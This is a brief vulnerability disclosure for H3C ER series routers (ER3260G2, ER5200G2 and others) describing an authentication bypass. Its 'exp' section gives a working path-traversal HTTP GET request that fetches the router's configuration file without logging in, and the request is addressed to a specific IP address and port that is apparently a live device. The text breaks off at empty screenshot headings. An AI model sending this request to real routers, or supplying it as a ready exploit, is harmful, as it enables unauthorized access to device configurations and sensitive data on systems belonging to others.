H3C ER series router system management has unauthorized access vulnerability

Product: ER series router

version: ER3260G2,ER5200G2,ER3200G2,ER2100n,ER6300G2,ER5100G2,ER2200G2

rating: high-risk

website: http://www.h3c.com/

Hazards: Attackers can exploit this vulnerability to obtain sensitive information from routers by constructing special request packets to bypass identity verification.

principle: The router did not authenticate directory access and related files

exp:

Note:The ER5200G2 in the url needs to be changed to the corresponding model

GET /userLogin.asp/../actionpolicy_status/../ER5200G2.cfg HTTP/1.1
Host: 58.221.11.74:12345
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

Sphere of influence：H3C Router Management ER Partial series

The address of the vulnerability：

ER Screenshots of the rest of the series：

ER5200G2：